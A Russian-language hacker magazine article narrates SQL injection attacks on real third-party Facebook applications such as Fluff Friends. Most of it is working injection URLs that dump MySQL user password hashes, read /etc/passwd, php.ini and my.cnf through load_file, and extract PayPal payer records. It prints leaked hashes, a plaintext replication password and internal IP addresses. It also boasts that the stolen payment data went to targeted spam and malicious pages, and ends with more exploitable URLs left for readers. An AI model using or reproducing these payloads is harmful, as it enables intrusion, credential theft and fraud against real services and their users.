Содержание статьи
Новый год. Поздравления, брызги шампанского, догорающие бенгальские огни.
Казалось бы, что еще нужно для счастья? Несомненно, сокрушительный взлом –
новогодний хек крупнейшего проекта. Я выбрал цель – facebook.com – крупнейшую в
мире соцсеть. А вот осуществил ли я взлом этого ресурса под бой новогодних
курантов, ты узнаешь, прочитав эту статью.
История Facebook.com берет свое начало в феврале 2004 года, когда
девятнадцатилетний студент Гарварда Марк Закерберг решил сделать
онлайн-справочник студентов своего вузa с их фотографиями и данными в Сети. В
большинстве колледжей и институтов такой справочник носит название «face book».
Поначалу пользоваться его творением могли только студенты Гарварда, сайт
располагался по адресу Thefacebook.com. Сейчас же Facebook.com доступен для всех
и каждого. По официальной статистике, на июль 2007 года Facebook был седьмым по
посещаемости сайтом в США и самым популярным ресурсом для студентов – 34
миллиона зарегистрированных пользователей по всему миру. Даже такие гиганты, как
Microsoft, охотно сотрудничают с такой огромной рекламной площадкой! В октябре
2007 года также стало известно, что Microsoft приобретает 1,6% акций Facebook за
240 миллионов долларов. После чего был заключен контракт, по которому софтверный
гигант будет размещать свои рекламные баннеры на сайте до 2011 года. Какие
уязвимости нашли в этом адовом проекте русские хакеры - ты сейчас узнаешь!
(happy) Crab, Chickee, Puppog - вы мои друзья!
В силу определенных причин мое внимание привлек довольно шуточный
application-проект Flufffriends.com. Узел использовался в качестве редиректа на
развлекательное приложение «Fluff» по следующей ссылке: apps.facebook.com/fluff/ffriends_splash.php.
Как выяснилось, такой байды на ресурсе насчитывалось сотнями, а то и тысячами.
Все началось с простого – я решил найти друзей у этого чудовища.
http://apps.facebook.com/fluff/fluffbook.php?id=654626570
Подставив аномальный параметр «id='111111111», я получил ответ от ресурса,
который намекал на то, что он все-таки обратился к базе, но ничего дельного не
нашел. Тогда было решено выполнить специальный запрос к базе, попытавшись
подобрать количество колонок:
http://apps.facebook.com/fluff/art.php?id=654329372+and+1=-1
+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9--
Бинго! Можно действовать дальше:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2 +union+
Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(), version()),4,5,6,null,8,9,10,11,12,13,14,15,16,
concat(user,%200x3a,%20password),18,19,20,21+FROM+mysql.user+limit+1,1 (играемся
со значением лимита)
А вот и заветные пользователи!
root:*368C08021F7260A991A9D8121B7D7808C99BBB8A
slave_user:*38E277D5CA4EAA7E9A73F8EF80813D7B5859E407
muu:*74A45B921A1A918B18AE9B137396E5A67E006262
monitor:*1840AE2C95804EC69321D1EE33AADFA249817034
maatkit:*9FA5157314A2CF7448A34DA070B5D44E977A1220
И – традиционные приемы, которые позволяют выведать, что там крутится:
Чтение /etc/passwd (2f6574632f706173737764)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+ union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null,8, 9,10,11,12,13,14,15,16,load_file(0x2f6574632f706173737764),18,19,20,21--
Чтение /etc/httpd/conf/httpd.conf
(2f6574632f68747470642f636f6e662f68747470642e636f6e66)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+union+ Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66), 18,19,20,21--
Чтение /etc/php.ini (2f6574632f7068702e696e69)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f7068702e696e69),18,19,20,21--
Чтение /etc/hosts (2f6574632f686f737473)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f686f737473),18,19,20,21--
Файл hosts на разных системах имеет разное расположение, но отвечает
совершенно за идентичные вещи. В нормальном виде он выглядел так:
127.0.0.1 localhost localhost.localdomain
192.168.1.167 140696-db2.flufffriends.com 140696-db2
192.168.1.166 140695-db1.flufffriends.com 140695-db1
192.168.1.165 140694-web2.flufffriends.com 140694-web2
192.168.1.164 140693-web1.flufffriends.com 140693-web1
69.63.176.141 api.facebook.com
208.116.17.80 peanutlabs.com
Сами мы, скорее всего, находились на 192.168.1.168.
Чтение /etc/my.cnf (2f6574632f6d792e636e66)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+union+ Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f6d792e636e66),18,19,20,21--
Отсюда узнаем о непростом устройстве репликации:
#SERVER 2 IS THE MASTER FOR DB1 AND SLAVE FOR DB1
log-bin=/var/lib/mysqllogs/bin-log
binlog-do-db=fluff2
expire-logs-days=14
server-id = 2
#master-host=192.168.1.166
#master-user=slave_user
#master-password=peapie1212
#master-connect-retry=60
replicate-do-db=fluff1
#log-slave-updates
expire_logs_days = 14
Кто ты, красавица? Я - Людка-Незабудка!
После увиденного я испытал самый настоящий новогодний шок. Но время не
терпело. Пока админы ресурса пили шампанское за уход кризиса, я шел вперед.
Сначала узнал базы:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,3,4,5,6,null,8,9,10,11,12,13,14,15,16, concat(0x1e,0x1e,COUNT(*),0x1e,0x20),18,19,20,21+ FROM+information_schema.schemata
Цифра «3» означает, что на ресурсе присутствуют три базы. Их имена узнаются
следующим образом для MySQL:
SELECT schema_name FROM information_schema.schemata (MySQL >= v5.0);
или так:
SELECT distinct(db) FROM mysql.db
– либо автоматизировано с помощью sqlmap. На деле это оказались: mysql,
fluff1, fluff2. После долгого изучения каждой из них в базе fluff2 была
обнаружена таблица paypal_ipn с огромным количеством колонок:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,3,4,5,6,null,8,9,10,11,12,13,14,15,16, concat(table_name,table_schema,column_name,0x1e,0x20),18,19,20,21+ FROM+information_schema.columns+limit+1,2
Естественно, ваш покорный слуга не мог обойти это дело. Для разведки пришлось
прибегнуть к помощи известной тебе sqlmap/sqlninja.
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,concat_ws
(0x3a,user,txn_id, valid_ipn,payment_status,mc_gross,mc_fee,mc_currency,time,receipt_id,payer_id, payer_email,first_name,last_name,address_name,address_street,address_city, address_state,address_zip,address_country,address_country_code,residence_country,payment_date, payment_fee,payment_gross,quantity,payment_type,payer_status,txn_type,custom,duplicate), 18,19,20,21+FROM+fluff2.paypal_ipn+limit+0,1
После этого несколько десятков тысяч пользователей, производящих платежи,
были у меня в кармане. Даже такие именитые проекты имеют бреши!
Лиха беда начало
Конечно, следить за безопасностью такого огромного проекта нереально тяжело.
По сути, хакеру удалось получить доступ к ряду сторонних проектов, тем самым
узнать немного о внутреннем устройстве и функционале Facebook. Кроме того,
похищенные данные о людях, осуществляющих денежные переводы для прокачки внутри
этой социальной сети, целиком и полностью пошли на таргет-спам с фейкованными
страницами и вредоносными ресурсами.
ETC
Поначалу найденные уязвимости на приложениях Facebook настойчиво манили на
центральный проект. На деле часть из них располагается на совершенно сторонних
серверах. К примеру, apps.facebook.com/snowago/area.php?areaid=303021+AND+1=2+UNION+ALL+SELECT+0,1,2,3,4--
оказывается «клоном» affinispace.com/facebook/snowago/area.php?areaid=303021+AND+1=2+UNION+ALL+SELECT+0,1,2,3,4--,
который к тому же с потрохами сдает информацию через общедоступный phpinfo по
адресу (affinispace.com/facebook).
Несколько багов для размышления:
Помимо перечисленных, на ресурсе существуют и другие уязвимости. Комментировать
не буду – все додумаешь сам.
1) http://apps.facebook.com/snowago/area.php?areaid=303021+ AND+1=2+UNION+SELECT+0,version(),2,3,4--
Database: affinispac_fb
User: affinispac_fb@localhost
Version: 5.0.67-community
2) http://www.chinesezodiachoroscope.com/facebook/index1.php?user_id= 663991991%20AND%201=2%20UNION%20SELECT%200,1,2,3,4,5,6,7,8, CONCAT_WS(CHAR(32,58,32),user(),database(),version()),10,11,12,13,14--&zodiac=1
> plucky@localhost : facebook : 4.0.13-log
3) http://apps.facebook.com/newastrology/newastro.php?uid=1387771663+AND +1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9, CONCAT_WS(CHAR(32,58,32),user(),database(),version()), 11,12,13,14,15,16,17,18,19,20,21--
4) http://apps.facebook.com/ridertech/location.php?id=7449+AND+1=2+UNION+SELECT+0, CONCAT_WS(CHAR(32,58,32),user(),database(),version())
,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23--
INFO
Подбор колонок проще всего осуществлять автоматизировано. Конечно, самое простое
– заюзать уже созданный софт (ты найдешь его на диске). Ведь порой их бывает
очень много, ручками перебрать такое было бы запарно, хоть и реально.
Раскрытие пути в описании ошибки базы целиком и полностью выдавало тот факт, что
создатели Facebook применяют Ruby on Rails в своих проектах:
/home/ridetech/rails/community/public/facebook/snowreports/report.php
Все описанные подпроекты были найдены при помощи специальных сервисов. В статье
«Разлом MSN» рассказывалось, как, используя мощи MSN/Google, узнавать такую
информацию. А сейчас твой кругозор расширит следующий сервис: serversniff.de/content.php?do=subdomains.
Вбиваешь ресурс – и мигом получаешь все поддомены.
|